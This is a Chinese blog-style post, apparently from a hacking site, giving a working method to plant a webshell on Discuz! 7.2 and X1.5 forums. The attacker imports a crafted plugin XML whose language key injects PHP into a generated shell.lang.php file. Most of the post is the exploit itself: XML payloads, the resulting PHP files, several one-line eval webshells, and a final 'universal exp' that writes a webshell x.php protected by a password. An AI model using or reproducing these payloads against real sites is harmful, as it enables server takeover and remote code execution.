这是在没有ucenter和manyou插件漏洞并且不是创始人的情况下的.
6.0和7.0就不说了. 直接开始吧,
先说7.2.
在那篇文章最后说'如果你愿意,可以使用base64_encode(serialize($a))的方法试试7.2获取Webshell.'
我尝试了很久都无效, 就找了个7.2的后台试验了一下.
方法是插件处添加xml文件.
这段代码是7.2和1.5通用的.
<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="Title"><![CDATA[Discuz! Plugin]]></item>
<item id="Version"><![CDATA[7.2]]></item>
<item id="Time"><![CDATA[2011-03-16 15:57]]></item>
<item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
<item id="Data">
<item id="plugin">
<item id="available"><![CDATA[0]]></item>
<item id="adminid"><![CDATA[0]]></item>
<item id="name"><![CDATA[www]]></item>
<item id="identifier"><![CDATA[shell]]></item>
<item id="description"><![CDATA[]]></item>
<item id="datatables"><![CDATA[]]></item>
<item id="directory"><![CDATA[]]></item>
<item id="copyright"><![CDATA[]]></item>
<item id="modules"><![CDATA[a:0:{}]]></item>
<item id="version"><![CDATA[]]></item>
</item>
<item id="version"><![CDATA[7.2]]></item>
<item id="language">
<item id="scriptlang">
<item id="a"><![CDATA[b]]></item>
<item id=");phpinfo();?>"><![CDATA[x]]></item>
</item>
</item>
</item>
</root>
上传后在forumdataplugins文件夹下生成shell.lang.php文件.
内容如下:
<?php
$scriptlang['shell'] = array(
'a' => 'b',
');phpinfo();?>' => 'x',
);
?>
看到了, ;phpinfo();?> 写出来了, 配上头文件就语句正常.
访问shell.lang.php正常显示phpinfo, 既然能写出来,就说明肯定能获得shell的.
那尝试直接写入一句话.
直接把;phpinfo();?>替换为 ;@eval($_POST['adm1n']);?>试试.
上传后结果如下:
看到'', 明白肯定是被替换添加了. 打开源文件看:
<?php
$scriptlang['shell'] = array(
'a' => '=>1);@eval($_POST['admin163']);?>")?>',
);
?>
单引号前被添加了, 就无效了. 那就换个无单引号的试试.
用这条
< ?php ($_=@$_GET[admin163]).@$_($_POST[org])?>
直接打开文件shell.lang.php, 显示空白. 应该是成功了.
可按照一句话格式输入地址?adm1n=assert显示
")?>', ); ?>
就是说明闭合生效, 完美运行.
文件源码如下:
<?php
$scriptlang['shell'] = array(
'a' => '=>1);($_=@$_GET[admin163]).@$_($_POST[org])?>")?>',
);
?>完美拼凑一个一句话:
<?php ($_=@$_GET[adm1n]).@$_($_POST[org])?>
成功连接一句话...
-------
这里说一下.. 好意外.. 怎么变的这么简单了..
当时我拿的那个站, 这样也不行, 当时还没用其他的dz7.2的站试验, 也没法看源码.. 而且php还是无报错回显的, 完全不知道怎么回事, 更不知道是单引号的问题, 因为我尝试了各种单引号双引号无引号..都不可以.. 尝试创建文件写入一句话也失败. admin163.net微论坛
免杀问题也考虑过, base64_encode(serialize($a))这个更是各种尝试.. 而本目录既然能生成shell.lang.php文件就说明是可写的, 也不存在不可写问题.. 当时真是想破了脑袋.. 最后是用
<php fputs(fopen("x.php","a"),"a")?>
这样一个字符一个字符写进去的... 可现在..
这文章都写了这么多了.. 重写麻烦.. 还是发了吧..
------
另外1.5同上..
在来个通用的exp吧..
<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="Title"><![CDATA[Discuz! Plugin]]></item>
<item id="Version"><![CDATA[7.2]]></item>
<item id="Time"><![CDATA[2011-03-16 15:57]]></item>
<item id="From"><![CDATA[Discuz! Board (http:// www.2cto.com /Discuz_7.2_SC_UTF8/upload/)]]></item>
<item id="Data">
<item id="plugin">
<item id="available"><![CDATA[0]]></item>
<item id="adminid"><![CDATA[0]]></item>
<item id="name"><![CDATA[www]]></item>
<item id="identifier"><![CDATA[adm1n]]></item>
<item id="description"><![CDATA[]]></item>
<item id="datatables"><![CDATA[]]></item>
<item id="directory"><![CDATA[]]></item>
<item id="copyright"><![CDATA[]]></item>
<item id="modules"><![CDATA[a:0:{}]]></item>
<item id="version"><![CDATA[]]></item>
</item>
<item id="version"><![CDATA[7.2]]></item>
<item id="language">
<item id="scriptlang">
<itemid="a"><![CDATA[=>1);fputs(fopen("x.php","w"),"<?eval($_POST[f4ck]);?>]]></item>
</item>
</item>
</item>
</root>
直接传这个插件里, 然后直接打开
forumdata/plugins/adm1n.lang.php
文件就会在本目录下生成一个密码为f4ck的一句话木马x.php
就这样吧.. 尴尬.. 等在想想题材吧..